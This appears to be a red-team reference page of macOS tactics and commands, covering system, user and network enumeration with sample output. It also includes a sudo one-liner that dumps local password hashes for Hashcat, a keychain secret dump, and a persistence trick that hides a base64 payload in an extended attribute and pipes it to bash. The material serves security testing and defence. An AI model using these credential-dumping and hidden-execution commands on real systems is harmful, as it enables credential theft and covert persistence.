Mac OSX TTPs

Enumeration

Gathering System Information Using IOPlatformExpertDevice

The ioreg command allows interaction with the I/O Kit registry, and the -c flag specifies the class of devices to list. The IOPlatformExpertDevice class provides information about the platform expert, which includes various system attributes. The -d flag specifies the depth of the search within the device tree.

ioreg -c IOPlatformExpertDevice -d 2

Exploring Application Bundles

Applications on macOS are stored in the /Applications directory. Each application is bundled as a .app file, which is actually a directory with a specific layout. Key components of an application bundle include:

1. Info.plist: This file contains application-specific configuration, entitlements, tasks, and metadata.

2. MacOS: This directory contains the Mach-O executable.

3. Resources: This directory includes icons, fonts, and images used by the application.

# List Applications
ls /Applications

cd /Applications/Lens.app
ls -R

Basic System Enumeration

Versions:

❯ sw_vers
ProductName:		macOS
ProductVersion:		14.5
BuildVersion:		23F79

A basic script for gathering system information using osascript:

-- System Information
set systemInfo to do shell script "system_profiler SPSoftwareDataType"
set hardwareInfo to do shell script "system_profiler SPHardwareDataType"

-- Network Information
set networkInfo to do shell script "ifconfig"

-- Disk Usage
set diskUsage to do shell script "df -h"

-- Output Results
set result to "System Information:\n" & systemInfo & "\n\n"
set result to result & "Hardware Information:\n" & hardwareInfo & "\n\n"
set result to result & "Network Information:\n" & networkInfo & "\n\n"
set result to result & "Disk Usage:\n" & diskUsage

-- Display Results
result

osascript enumerate_mac.scpt

Environment Variables:

❯ printenv
LANG=en_US.UTF-8
PWD=/Users/rosesecurity

Home Folders:

❯ ls -ma ~/
.!48082!pack-8ad6a5dc9b062d5e0e8d0bd9fa08146698e612e9.rev, .!48110!index, .., .CFUserTextEncoding, .DS_Store, .Trash, .aws,
.azure, .bash_history, .bashrc, .boto,

Users

The three types of MacOS users are:

• Local Users — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory

• Network Users — Volatile Active Directory users who require a connection to the DC server to authenticate

• Mobile Users — Active Directory users with a local backup for their credentials and files

# User and Group Enumeration

dscl . ls /Users
dscl . read /Users/[username]

dscl . ls /Groups
dscl . read /Groups/[group]

# Domain Enumeration
dsconfigad -show

Last Login

This command reads the contents of the login window preferences plist file. This can potentially expose information such as:

1. Automatic login settings

2. Display of usernames and other login screen options

3. Shutdown and restart privileges

4. Login hooks (scripts that run at login)

❯ sudo defaults read /Library/Preferences/com.apple.loginwindow

Password:
{
    AccountInfo =     {
        FirstLogins =         {
            rosesec = 1;
        };
        MaximumUsers = 1;
        OnConsole =         {
        };
    };
    GuestEnabled = 0;
    Hide500Users = 1;
    OptimizerLastRunForBuild = 48630688;
    OptimizerLastRunForSystem = 235274496;
    RecentUsers =     (
        rosesec,
        "doctor.pepper"
    );
    UseVoiceOverLegacyMigrated = 1;
    lastLoginPanic = "746632045.290429";
    lastUser = loggedIn;
    lastUserName = rosie.odonnell;
}

Passwords

The following one-liner which will dump credentials of all non-service accounts in Hashcat format -m 7100 (macOS PBKDF2-SHA512):

sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'

Keychains

# List certificates
security dump-trust-settings [-s] [-d]

# List keychain databases
security list-keychains

# List smartcards
security list-smartcards

# List keychains entries
security dump-keychain | grep -A 5 "keychain" | grep -v "version"

# Dump all the keychain information, included secrets
security dump-keychain -d

[!TIP] The last command will prompt the user for their password each entry, even if root. This is extremely noisy

Network Services

rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
flShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | egrep "\*.88|\*.445|\*.548" | wc -l);
rLgn=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.22" | wc -l);
rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";

SMB Shares

# SMB share enumeration
smbutil view -G //servername.domain
sharing -l
smbutil statshares -a

AFP Shares

# AFP share enumeration
dns-sd -B _afpovertcp._tcp
nmap -p 548 --script afp-showmount --script-args afp.username=yourusername,afp.password=yourpassword yourserveraddress
sudo sharing -l

SSH Scanning

Browse for all SSH services that are currently advertised on the local network

dns-sd -B _ssh._tcp

Network Service Scanning

dns-sd: Uses Bonjour to discover network services like AFP, SMB, and more.

❯ dns-sd -B _services._dns-sd._udp

Browsing for _services._dns-sd._udp
14:35:41.500  ...STARTING...
Timestamp     A/R    Flags  if Domain               Service Type         Instance Name
14:35:41.501  Add        3  16 .                    _tcp.local.          _androidtvremote2
14:35:41.501  Add        3  16 .                    _tcp.local.          _ssh
14:35:41.501  Add        2  16 .                    _tcp.local.          _sftp-ssh
14:35:41.659  Add        3  26 .                    _tcp.local.          _airplay
14:35:41.660  Add        2  26 .                    _tcp.local.          _vstreamdeck2
14:35:42.663  Add        3  16 .                    _tcp.local.          _googlecast
14:35:42.663  Add        2  16 .                    _tcp.local.          _googlezone

System Profiler

It is an application created to gather detailed information about the Mac on which it is running.

system_profiler SPSoftwareDataType SPHardwareDataType

Software:

    System Software Overview:

      System Version: macOS 14.5 (23F79)
      Kernel Version: Darwin 23.5.0
      Boot Volume: Macintosh HD
      Boot Mode: Normal
      Computer Name: Salsa-Dancer.RoseSecurity
      User Name: RoseSecurity (rose)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 10 days, 14 hours, 54 minutes

Hardware:

    Hardware Overview:

      Model Name: MacBook Pro
      Model Identifier: Mac14,9
      Model Number: Z17G002HTLL/A
      Chip: Apple M2 Pro
      Total Number of Cores: 10 (6 performance and 4 efficiency)
      Memory: 32 GB
      System Firmware Version: 10151.121.1
      OS Loader Version: 10151.121.1
      Serial Number (system): XXXXXXXX
      Hardware UUID: 0012DE66-XXXXXXXX
      Provisioning UDID: 00006020-XXXX
      Activation Lock Status: Disabled

Persistence

Extended Attributes

Extended attributes (EAs) on macOS can be used maliciously by attackers to hide data, evade detection, or persist malicious code, since EAs are not visible through typical file inspection methods

# Create the malicious extended attribute. In our case, this is a simple echo command
❯ xattr -w user.hiddenPayload "ZWNobyAiSSdtIG9uIHlvdXIgc3lzdGVtIgo=" not_malicious.txt

# Viewing the extended attributes
❯ xattr not_malicious.txt
com.apple.provenance
user.hiddenPayload

# Executing the extended attributes
❯ xattr -p user.hiddenPayload not_malicious.txt | base64 -d | bash
I'm on your system